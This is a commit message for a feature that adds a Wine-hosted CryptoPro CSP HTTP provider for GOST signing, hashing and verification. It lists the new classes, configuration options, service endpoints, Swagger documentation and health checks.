feat: Implement Wine CSP HTTP provider for GOST cryptographic operations

- Added WineCspHttpProvider class to interface with Wine-hosted CryptoPro CSP.
- Implemented ICryptoProvider, ICryptoProviderDiagnostics, and IDisposable interfaces.
- Introduced WineCspHttpSigner and WineCspHttpHasher for signing and hashing operations.
- Created WineCspProviderOptions for configuration settings including service URL and key options.
- Developed CryptoProGostSigningService to handle GOST signing operations and key management.
- Implemented HTTP service for the Wine CSP with endpoints for signing, verification, and hashing.
- Added Swagger documentation for API endpoints.
- Included health checks and error handling for service availability.
- Established DTOs for request and response models in the service.
